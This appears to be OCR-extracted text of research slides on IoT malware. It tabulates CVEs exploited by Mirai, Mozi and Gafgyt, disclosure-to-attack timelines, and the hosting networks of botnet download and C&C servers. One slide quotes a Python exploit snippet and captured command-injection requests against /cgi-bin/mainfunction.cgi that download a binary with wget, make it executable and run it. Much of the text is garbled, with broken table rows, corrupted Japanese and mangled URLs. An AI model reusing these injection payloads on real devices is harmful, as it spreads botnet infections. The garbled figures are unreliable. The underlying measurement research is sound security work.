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Year # Occurrences # Exploits # Vulnerabilities

Device Category URLhaus Honeypot Genealogy Total

2017 16 10 3 Router 461 1,342 610 2,413
2018 727 15 15 Home security 93 219 78 390
2019 376 26 27 Web application 36 38 32 106
2020 1,855 58 63 Web server 22 10 - 32
TV 7 2 - 9
NAS 27 27 - 54
Total 646 1,638 729 3,004
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Arwa Abdulkarim Al Alsadi, Kaichi Sameshima, Jakob Bleier, Katsunari Yoshioka, Martina Lindorfer, Michel van Eeten,
Carlos H. Ganan, "No Spring Chicken: Quantifying the Lifespan of Exploits in IoT Malware Using Static and Dynamic
Analysis," The 17th ACM ASIA Conference on Computer and Communications Security (ACM ASIACCS 2022), 2022.
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@ :All datasets

loTYILD T 7AEMNSFHER SNICHeIIIEINERE—& ©: two datasets

(O:one dataset

Type Vulnerability Vuln. Exploit Families Manufacturer Target Device UHG # of
Published Published Samples
RCE CVE-2009-0545; CVE-2019-12725 *  2009-02-12; 2009-02-09 § Mirai eroshell Zeroshell Linux Distribution O 2
2019-06-04
Netgear DGN1000 RCE 2013-06-05 2013-06-05 | Mirai, Mozi, Gafgyt Netgear DGN1000 Netgear routers [ X X ] 107
Linksys E-series RCE 2013-07-02  2014-02-16 | Mirai, Gafgyt Cisco Linksys routers E-series 00 150
Edimax EW-7438RPn-v3 RCE 2015-07-17  2015-07-17 § Mirai Edimax EW-7438RPn-v3 O 4
Multi-vendor CCTV/DVR RCE 2016-03-23  2016-03-23 § Mirai, Mozi, Gafgyt Multi-vendor Multi-vendor CCTV/DVR o0 0 79
NUUO NVRmini RCE 2016-08-06 2016-08-06 | Mirai NUUO NUUO NVR 00 4
Xfinity Gateway RCE 2016-12-02  2016-12-02 | Mirai Xfinit Xfinity Gateway @) 3
CVE-2017-(8221-8225) * 2017-04-25 2017-03-08 | Mirai GoAhead GoAhead IPcam O 3
EnGenius IoT GCS1.4.11 RCE 2017-06-04 2017-06-04 § Mirai EnGenius EnGenius [oT Cloud Service 00 3
CVE-2017-14135 2017-09-04 2017-07-03 § Mirai Dream Property Opendreambox O 1
CVE-2017-14127; CVE-2019-18396 * 2017-09-04; 2019-11-13 § Mirai Technicolor Technicolor TD5336 U ) 5
2019-10-24
Vacron NVR RCE 2017-10-22 2017-10-08 § Mirai, Mozi Vacron Vacron NVR devices (X X ] 26
Shenzhen TVT RCE 2018-04-03 2018-04-09 § Mirai Shenzhen TVT  Shenzhen TVT DVR/NVR/IPC © 3
CVE-2018-10561; CVE-2018-10562 * 2018-04-30 2018-05-03 | Mirai, Mozi, Gafgyt Dasan GPON Home Routers [ X X ] 259
CVE-2018-11510 2018-05-28 2018-08-15 Mirai ASUSTOR ASUSTOR NAS O 1
HomeMatic Zentrale CCU2 RCE 2018-07-18 2018-07-18 § Mirai HomeMatic HomeMatic Zentrale CCU2 O 3
CVE-2018-15887 2018-08-26 2018-08-02 | Gafgyt ASUS ASUS DSL-N12E_C1 e
CVE-2018-17173 2018-09-18  2019-05-06 | Mirai LG LG Supersign EZ CMS TV 00 9
CVE-2018-20062; CVE-2019-9082 *  2018-12-11; 2019-01-14f Mirai. Sineletons ThinkPHP v-5.0.23/5.1.31 Server [ 0K )] 21
2019-02-24 2020-04-16 3 ~ -_— =] \
CVE-2019-2725 2018-12-14 2019-05-08f M D 0 /]/ / (L— J: 5451? (j:j_d\ < ) 1
CVE-2019-7276 2019-01-31 2019-11-12 N J _ I\ _ I< =/ _( ) O 3
CVE-2019-10655 2019-03-30  2019-03-31f N I :E j %'f—f RC E ° i 5KP2200 * @) 3
CVE-2018-20841 2019-06-11  2019-01-14 ] M ~ I{ ,]/ S, 3y g < ~ h\ O 1
Sar2HTML 3.2.1 RCE 2019-08-02 2019-08-02Q N j 7 / / / I / 3 / O 3
CVE-2020-9054 2020-02-18  2020-02-24 ] M (g& C‘:_ /U Cl:‘_‘ o 00 6
Netlink GPON Router 1.0.11 RCE 2020-03-18 2020-03-18 N o 58
Symantec SWG 5.0.2.8 RCE 2020-04-09  2020-04-09 § Mirai Symantec Symantec Web Gateway 5.0.2.8 00 34
Netgear R7000 RCE 2020-06-15 2020-06-15 Mirai Netgea Netgear R7000 O 2
CVE-2019-16759; CVE-2020-17496 * 2019-09-24; 2020-08-12 | Mirai vBulletin 5.x Servers using vBulletin 5.x O 2
2020-08-12
Backdoor  CVE-2014-2321 2014-03-10 2014-03-03 § Tsunami ZTE ZTE F460 and F660 O 2
Xiaongmai-based DVR/NVR/IPcam  2020-02-04 2020-02-04 § Mirai, Gafgyt {ulti-vendor DVR/NVR/IPcams O 31

"%’ indicates that this entry consIsts Of vumnerapmities that are targeted by the same exploit code or vice versa

a8 Abdulkarim Al Alsadi, Kaichi Sameshima, Jakob Bleier, Katsunari Yoshioka, Martina Lindorfer, Michel van Eeten, Carlos H. Ganan, "No Spring Chicken: Quantifying the Lifespan of
inloT Malware Using Static and Dynamic Analysis," The 17t M ASIA Conference on Computer and Communications Security (ACM ASIACCS 2022), 2022.
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@ :All datasets
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(O:one dataset

Type Vulnerability Vuln. Exploit UHG # of
Published Published Samples
CMDi CVE-2014-8361 * 2014-10-20  2015-06-01 § Mirai, Mozi, Gafgyt D-Link D-Link Routers using Realtek SDK o000 272
CVE-2014-9094 2014-11-26  2014-07-13 | Mirai WordPress WordPress Plugin DZS-VideoGaller ¢ © 35
CVE-2015-2051 2015-02-23  2015-06-01 § Mirai, Mozi, Gafgyt D-Link D-Link DIR-645 (X N ] 93
AVTECH IPCam/NVR/DVR CMDi  2016-10-11 2016-10-11 § Mirai AVTECH AVTECH IPcam/NVR/DVR 00 69
CVE-2016-10372 2016-05-16  2016-11-08 §| Mirai, Mozi, Gafgyt Zyxel Eir D1000 Router (rebranded Zyxel) 00 78
CVE-2016-6277 2016-07-22 2017-03-13 | Mirai, Mozi, Gafgyt Netgear Netgear R7000 and R6400 o000 41
NUUO OS CMDi 2016-08-06 2016-08-06 § Mirai NUUO NUUO NVRmini 2 3.0.8 O 3
MV Power Shell CMDi 2017-02-27 2017-02-27 § Mirai, Mozi MV Power MVPower DVR TV-7104HE 1.8.4 0 168
CVE-2017-6884 2017-03-14 2017-04-02 § Mirai Zyxel EMG2926 Router ¢ © 39
CVE-2017-18368 2019-05-02  2016-12-26 | Mirai, Singletons, Gafgyt Zyxel Zyxel P660HN-T routers 00 77
CVE-2017-17215 2017-12-04  2017-12-25 ) Mirai, Mozi, Gafgyt, Singleton] Huawei Huawei home routers HG532 o000 921
CVE-2018-7841 2018-03-08 2019-05-14 § Mirai U.motion U.motion software v.1.3.4 © 4
D-Link DSL-2750B OS CMDi 2018-05-25 2018-05-25 | Mirai D-Link D-Link DSL-2750B o000 241
SonicWall GMS-XMLRPC CMDi 2018-08-01 2018-08-01 § Mirai SonicWall SonicWall GMS 00 1
CVE-2018-19276 2018-11-14 2019-12-18 | Mirai OpenMRS OpenMRS before 2.24.0 00 5
CVE-2019-7256 2019-01-31 2019-11-12 § Mirai Linear Linear eMarge E3 series O
CVE-2019-12489 2019-05-30  2019-11-13 | Mirai Fastweb Fastweb Fastgate 0.00.81 O 3
CVE-2013-7471 2019-06-11 2013-09-17 | Mirai, Mozi, Gafgyt D-Link D-Link DIR-645 [ X N ] 29
CVE-2019-14931 2019-08-10 2019-08-13 § Mirai Mitsubishi Mitsubishi smartRTU& INEA ME-R’ O 7
CVE-2020-1956 2019-12-02  2020-06-20 § Mirai Apache Apache Kylin 2.3.0-2.6.5,3.0.1 ) 4
CVE-2019-19824 2019-12-16 2015-07-16 § Mirai TOTOLINK TOTOLINK Realtek SDK routers O 7
CVE-2020-5722 2020-01-06  2020-03-24 § Mirai Grandstream Grandstream UCM6200 series 0 5
CVE-2020-7209 2020-01-16  2020-05-17 § Mirai HP LinuxKI HP LinuxKI-v6.01 @) 3
CVE-2020-10173 2020-03-05 2020-02-27 | Mirai Comtrend Comtrend VR-3033 00 5
CVE-2020-13786 2020-06-03  2020-06-12 § Mirai D-Link D-Link DIR-865L Ax1.20B01 O |
Buffer OF CVE-2016-4429 2016-05-02  2016-05-18 § Singletons Qualcomm Qualcomm Server O 5
CVE-2019-7405 2019-02-05 2019-12-16 § Mirai TP-Link TP-Link Archer C5-v4 routers &) 4
WAF Bypass Cloudflare WAF Bypass 2017-04-04  2016-10-25 | Mirai, Gafgyt \CloudFlare CloudFlare WAF © © 37
Brute Force Dictionary Attack - - Mirai, Mozi, Singleton - o000 5,631
Tsunami, Gafgyt, xorddos
Total 59 41 16

’x’ indicates that this entry consists of vulnerabilities that are targeted by the same exploit code or vice versa
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03/30: PoC Released on GitHub
04/01: Attacks by botnet increased

01/31: NVD Published
02/06: Patch Released
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def run_cmd(self, cmd):

N () GitHub

"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.08) Gecko/201

}

url = self.url + "/cgi-bin/mainfunction.cgi"
data = “act1on-1ng1n&keyPathT%Z?iﬂA%ZTbln%Zf“ + cmd + “%Bh%Z?&loganSEr_a&lcglnPwd a"

res = req.post{url=url, data=data, timeout= {1B 15), headers=headers)

if res.status_code == 200:
return res.text
POST /cgi-bin/mainfunction.cgi HTTP/1.1 /
User-Agent: XTC w
Host: 127.0.0.1 a
Content-Length: 1000
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9 -
action=login&keyPath='/bin/sh -c 'wget http://:arm7 -0 /tmp/upnp.debug; chmod 777 /tmp/upnp.debug; /tmp/upnp.debug'&loginUser=a&loginPwd=a
Rz 7DL&SRITOAY R
] <« == [N T4 =0 g . n ; A\
HubD 11— BRI EE(CHIVAA TWLVAGTREEER 9 H
POST /cgi-bin/mainfunction.cgi HTTP/1.1 e
User-Agent: XTC -
Host: 127.0.0.1 g
Content-Length: 189
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9 -
action=login&keyPath="wget http:/am‘t? -0 /tmp/viktor; chmod 777 /tmp/viktor; /tmp/viktor'&loginUser=a&loginPwd=a I

I 7 DLRAERITOY VK
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10/21: NVD published
10/28: PoC Released on GitHub
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08/23: Patch Released

08/25: Advisory published

1 .
09/01: PoC Released on Exploit-DB
09/02: Attack observed at X-POT
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Bashlite Mirai Tsunami Bashlite Mirai Tsunami
AS CC #DL AS CC #DL AS CC AS CC #DL AS CC #DL AS CcC
1 23033 us 167 12876 FR 50 20473 US T 14061 US 43 14061 US 933 14061 NL 5
2 20473 us 117 31034 IT 31 12876 FR 5 60144 NL 12 14061 NL 192 14061 us 4
3 31034 IT 108 20473 us 29 60781 NL 4 54290 US 11 51659 RU 94 53667 us 4
36352 us 97, 43350 NL 20 31034 IT 4 31034 IT 11 60144 NL 78 51659 RU 2
5 33387 us 53 36352 us 16 23033 US 4 53667 US 10 20473 US 74 12876 FR 2
6 53755 us 52 29073 5C 10 44812 RU 3 14061 NL 9 54290 US 71 53667 Lu
7 393406 US 46 393406 US 2 43350 NL 3 51659 RU 8 14061 SG 71 14061 5G
8 200039 GB 40 49981 NL 8 36352 US 2 3842 us 5 31034 IT 70 51167 DE
9 43350 NL 38 4766 KR 74 33387 US 2 24806 CZ 4 53667 US 59 200651 SC
10 49349 NL 27 47381 HU 7 62282 LT I 43350 NL 3 14061 GB 44 204725 UA
Data Center/Hosting/Transit Broadband ISP
'\ /
Table 4: T C&C-U__/ \O)ﬁﬁ TOp 10 PS)
Measurement one Measurement two
Bashlite Mirai Tsunami Bashlite Mirai Tsunami
AS CC #C&C AS CC #C&C AS ccC AS CC #C&C AS CC #C&C AS CcC
1 23033 US 128 31034 IT 7 31034 IT | 1 14061 us 38 14061 US 593 12876 FR
2 31034 IT 100 12876 FR 6 20473 us | 2 60144 NL 15 14061 NL 111 14061 us
3 20473 Us 84 49981 NL 2 43350 NL | 3 14061 NL 6 60144 NL 71 14061 NL
4 36352 US 68 44812 RU 2 24961 FR | 4 53667 US 6 51659 RU 59 31034 IT
5 303406 US 38 43350 NL 2 14061 NL | o 54290 us L 54290 US 54 53667 us
6 43350 NL 35 29073 sC 2 - = | 6 31034 IT 4 31034 IT 46 200185 IT
7 53755 US 30 200019 MD 2 o - | T 3842 us 3 20473 US 44 51659 RU
8 200039 GB 30 197226 PL 2 3 - | 8 14061 S5G 3 14061 SG 38 51731 CZ
9 33387 US 25 9605 JP 1 - = | 9 200185 IT 3 53667 US 37 197695 RU
10 60781 NL 21 8896 NO = = | 10 51659 RU 3 14061 DE 36 - =
Data Center/Hosting/Transit Mobile ISP Government

SA 0171757
Ri-—A51>
S —(N—>118)
([CRTE

C&CH —/\E[EHk
AEE]

JZI2U. P2PEL (R
H—)IMFERT . R
tasEl Can B BimE

atsuya Tamai, Akira Fujita, Ryoichi Isawa, Katsunari Yoshioka, Tsutomu Matsumoto, Carlos Ganan and Michel Van Eeten, "Disposable
ing the Anatomy of loT Botnet Infrastructure," Proc. International Conference on Availability, Reliability, and Security (ARES2020), 2020.
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